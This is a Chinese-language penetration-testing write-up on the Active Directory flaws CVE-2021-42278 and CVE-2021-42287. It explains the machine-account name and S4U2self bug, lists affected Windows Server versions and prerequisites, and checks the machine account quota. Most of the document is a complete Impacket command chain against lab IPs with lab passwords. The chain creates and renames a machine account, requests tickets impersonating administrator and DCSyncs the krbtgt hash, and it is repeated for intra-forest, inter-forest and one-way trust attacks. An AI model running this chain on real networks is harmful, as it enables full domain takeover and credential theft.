CVE-2021-42278
域中所有机器名称都以$符结尾、但是Active Directory不会检查机器名账户名末尾是否带有$符。
CVE-2021-42287
在申请ST过程中、需要先申请TGT然后带着申请到的TGT去向TGS请求ST。在用户向TGS请求ST的过程中、当KDC没有找到TGT中指定的服务名称时、会在该服务名称的后边添加$符进行重新搜索
- 用户A申请了TGT
- 申请完TGT之后、删除用户A
- 使用用户A的TGT以其他用户的身份为用户A请求ST(S4U2self)
- KDC找不到A、进而查询A$
影响版本
CVE-2021-42287:
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019
CVE-2021-42278:
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2019 (Server Core installation)
Windows Server 2022
Windows Server 2019
Windows Server 2012 R2 (Server Core installation)
CVE-2021-42278 + CVE-2021-42287
- 创建一个与域DC机器账户名
DC1$
一样的机器账户DC1
(不带$符) - 申请TGT
- 修改/删除新增的机器账户名称
- 用申请到的TGT去进行S4U2self去向TGS请求ST、此时KDC找不到机器账户DC1
- 转而查找DC1$(也就是DC本身)、此时发现DC1$账户、使用DC1$(DC本身)的NTLM hash加密ST
- 获得高权限ST
漏洞利用
前提条件
1. ms-DS-MachineAccountQuota
- 需要创建一个机器账户、即需要创建机器账户的权限
- 作为域内用户的属性、ms-DS-MachineAccountQuota代表该域内可以创建机器账户的个数,默认值为10、在这个场景中、 ms-DS-MachineAccountQuota > 0 即可
- 需要增加/修改/删除机器账户名,需要对sAMAccountName属性有写权限
- 需要使用S4U协议,因此帐户必须具有SPN属性的值,需要对servicePrincipalName属性有写权限
- 创建者对sAMAccountName 和 servicePrincipalName 属性具有写权限
查看/编辑ms-DS-MachineAccountQuota:
- 方式1. ADSI Edit -> 选择对应域名 --> 属性 ---> ms-DS-MachineAccountQuota
- 方式2. powerview
(Get-DomainObject | select ms-DS-MachineAccountQuota | out-string).trim() -
方式3: ldapsearch/windapsearch
ldapsearch:
ldapsearch -x -H ldap://192.168.1.99 -D 'sub\usera' -w 'admin123..' -b "DC=sub,DC=b,DC=local" | grep "ms-ds-machineaccountquota" -iwindapsearch:
./windapsearch --dc 192.168.1.99 -d sub.b.local -u usera -p 'admin123..' -m custom --filter '(&(objectClass=domain)(distinguishedName=DC=sub,DC=b,DC=local))' --attrs ms-ds-machineAccountQuota
2. 已认证用户拥有SeMachineAccountPrivilege权限(将工作站添加到域)
-
Authenticated Users
默认在GPO
配置中具有Add workstations to domain
权限 (SeMachineAccountPrivilege) -
域内普通用户sub\usera在域内机器sub1上执行 whoami /priv 、 不显示SeMachineAccountPrivilege权限
-
查询谁有Add workstations to domain权限
脚本来源: https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.htmlpowershell -exec bypass -Command "&{import-module .\powerview.ps1;(Get-DomainPolicy -Policy dc).privilegerights | select SeMachineAccountPrivilege | %{ $_ | Add-member -NotePropertyname 'Principalname' -Notepropertyvalue (ConvertFrom-SID $_.SeMachineAccountPrivilege.substring(1,$_.SeMachineAccountPrivilege.Length-1));$_ | Format-List}}"
3. 目标DC没有打KB5008380和KB5008602补丁
可通过rubeus检测;打完补丁之后返回的TGT包很大
https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
漏洞利用
1. 创建一个机器账户
python3 addcomputer.py -computer-name 'fakespn$' -computer-pass 'fakespnpassword' -dc-host sub1.sub.b.local -dc-ip 192.168.1.99 sub.b.local/usera:'admin123..'
2. 清除该机器账户SPN
python3 addspn.py -u 'sub.b.local\usera' -p 'admin123..' -t 'fakespn$' -c 192.168.1.99
3. 将该机器账户名称重命名为域控机器名
python3 renameMachine.py -current-name 'fakespn$' -new-name sub1 -dc-ip 192.168.1.99 sub.b.local/usera:'admin123..'
4. 为机器账户申请TGT票据
python3 getTGT.py -dc-ip 192.168.1.99 sub.b.local/sub1:'fakespnpassword'
5. 重命名/删掉机器账户(致使域控找不到、在后边添加$并重新查找)
python3 renameMachine.py -current-name sub1 -new-name 'fakespn$' sub.b.local/usera:'admin123..' -dc-ip 192.168.1.99
6. 通过S4U2self申请ST
KRB5CCNAME=sub1.ccache python3 getST.py -impersonate administrator -spn cifs/sub1.sub.b.local sub.b.local/sub1 -k -no-pass -dc-ip 192.168.1.99 -self
7. DCSync
KRB5CCNAME=administrator.ccache python3 secretsdump.py -k -no-pass sub1.sub.b.local -dc-ip 192.168.1.99 -just-dc-user 'sub\krbtgt'
8. 删除添加的机器账户
`KRB5CCNAME=administrator.ccache python3 addcomputer.py -k -no-pass sub.b.local/administrator -computer-name 'fakespn$' -dc-host sub1.sub.b.local -dc-ip 192.168.1.99 -delete`
实际名称不是显示的名称、而是属性--> 常规 --> 计算机名(windows2000以前版本)(w)对应的名称
python3 renameMachine.py -current-name 'fakespn$' -new-name fakespn2$ -dc-ip 192.168.1.99 sub.b.local/usera:'admin123..'
python3 addcomputer.py -computer-name 'fakespn$' -dc-host sub1.sub.b.local -dc-ip 192.168.1.99 sub.b.local/usera:'admin123..' -delete
python3 addcomputer.py -computer-name 'fakespn2$' -dc-host sub1.sub.b.local -dc-ip 192.168.1.99 sub.b.local/usera:'admin123..' -delete
KRB5CCNAME=administrator.ccache python3 addcomputer.py -k -no-pass sub.b.local/administrator -computer-name 'fakespn2$' -dc-host sub1.sub.b.local -dc-ip 192.168.1.99 -delete
跨域可能存在的问题
1. 能否跨域创建机器账户
正如前面所说,SeMachineAccountPrivilege
权限默认为Authenticated Users
所拥有,域信任账户满足这个条件
2. S4U2self能否跨域
可以
也就意味着当目标域信任当前域、默认都是能直接打的
林内
环境说明:
子域:sub2.b.local 域控ip:192.168.1.103
父域:b.local 域控ip:192.168.1.88 域控主机:test-dc.b.local
当前拥有sub.b.local/test用户凭证
python3 addcomputer.py -computer-name 'fakespn$' -computer-pass 'fakespnpassword' -dc-host test-dc.b.local -dc-ip 192.168.1.88 sub2.b.local/test:'admin111..'
python3 addspn.py -u 'sub2.b.local\test' -p 'admin111..' -t 'fakespn$' -c 192.168.1.88
python3 renameMachine.py -current-name 'fakespn$' -new-name test-dc -dc-ip 192.168.1.88 sub2.b.local/test:'admin111..'
python3 getTGT.py -dc-ip 192.168.1.88 b.local/test-dc:'fakespnpassword'
python3 renameMachine.py -current-name test-dc -new-name 'fakespn$' sub2.b.local/test:'admin111..' -dc-ip 192.168.1.88
KRB5CCNAME=test-dc.ccache python3 getST.py -impersonate administrator -spn cifs/test-dc.b.local b.local/test-dc -k -no-pass -dc-ip 192.168.1.88 -self
KRB5CCNAME=administrator.ccache python3 secretsdump.py -k -no-pass test-dc.b.local -dc-ip 192.168.1.103 -target-ip 192.168.1.88 -just-dc-user 'b\administrator'
林间
环境说明:
B子域:sub2.b.local 域控ip:192.168.1.103
B父域:b.local 域控ip:192.168.1.88 域控主机:test-dc.b.local 与域a.local建立双向林间信任
A域: a.local 域控ip:192.168.1.111 域控主机:a-dc.a.local 与域b.local建立双向林间信任
python3 addcomputer.py -computer-name 'fakespn$' -computer-pass 'fakespnpassword' -dc-host a-dc.a.local -dc-ip 192.168.1.111 sub2.b.local/test:'admin111..'
python3 addspn.py -u 'sub2.b.local\test' -p 'admin111..' -t 'fakespn$' -c 192.168.1.111
python3 renameMachine.py -current-name 'fakespn$' -new-name a-dc -dc-ip 192.168.1.111 sub2.b.local/test:'admin111..'
python3 getTGT.py -dc-ip 192.168.1.111 a.local/a-dc:'fakespnpassword'
python3 renameMachine.py -current-name a-dc -new-name 'fakespn$' sub2.b.local/test:'admin111..' -dc-ip 192.168.1.111
KRB5CCNAME=a-dc.ccache python3 getST.py -impersonate administrator -spn cifs/a-dc.a.local a.local/a-dc -k -no-pass -dc-ip 192.168.1.111 -self
KRB5CCNAME=administrator.ccache python3 secretsdump.py -k -no-pass a-dc.a.local -dc-ip 192.168.1.103 -target-ip 192.168.1.111 -just-dc-user 'a\krbtgt'
单向信任
既然双向信任是可行的、那么单向信任呢?整个攻击认证过程中目标域并没有向当前域做认证,那么单向信任理论是也是可以打的
环境说明
pentest.com : 域控主机:WIN-I5EEUJ7MD5N.pentest.com ip:192.168.1.56
test.lab : 域控主机:testlab.test.lab ip:192.168.1.33
pentest.com 单向信任 test.lab
已拥有test.lab域内普通test凭证。
python3 addcomputer.py -computer-name 'fakespn$' -computer-pass 'fakespnpassword' -dc-host WIN-I5EEUJ7MD5N.pentest.com -dc-ip 192.168.1.56 test.lab/test:'admin123..'
python3 addspn.py -u 'test.lab\test' -p 'admin123..' -t 'fakespn$' -c 192.168.1.56
python3 renameMachine.py -current-name 'fakespn$' -new-name WIN-I5EEUJ7MD5N -dc-ip 192.168.1.56 test.lab/test:'admin123..'
python3 getTGT.py -dc-ip 192.168.1.56 pentest.com/WIN-I5EEUJ7MD5N:'fakespnpassword'
python3 renameMachine.py -current-name WIN-I5EEUJ7MD5N -new-name 'fakespn$' test.lab/test:'admin123..' -dc-ip 192.168.1.56
KRB5CCNAME=WIN-I5EEUJ7MD5N.ccache python3 getST.py -impersonate administrator -spn cifs/WIN-I5EEUJ7MD5N.pentest.com pentest.com/WIN-I5EEUJ7MD5N -k -no-pass -dc-ip 192.168.1.56 -self
KRB5CCNAME=administrator.ccache python3 secretsdump.py -k -no-pass WIN-I5EEUJ7MD5N.pentest.com -dc-ip 192.168.1.33 -target-ip 192.168.1.56 -just-dc-user 'pentest\krbtgt'
总结
感谢同事陈xx关于攻击单向信任方面的理论指导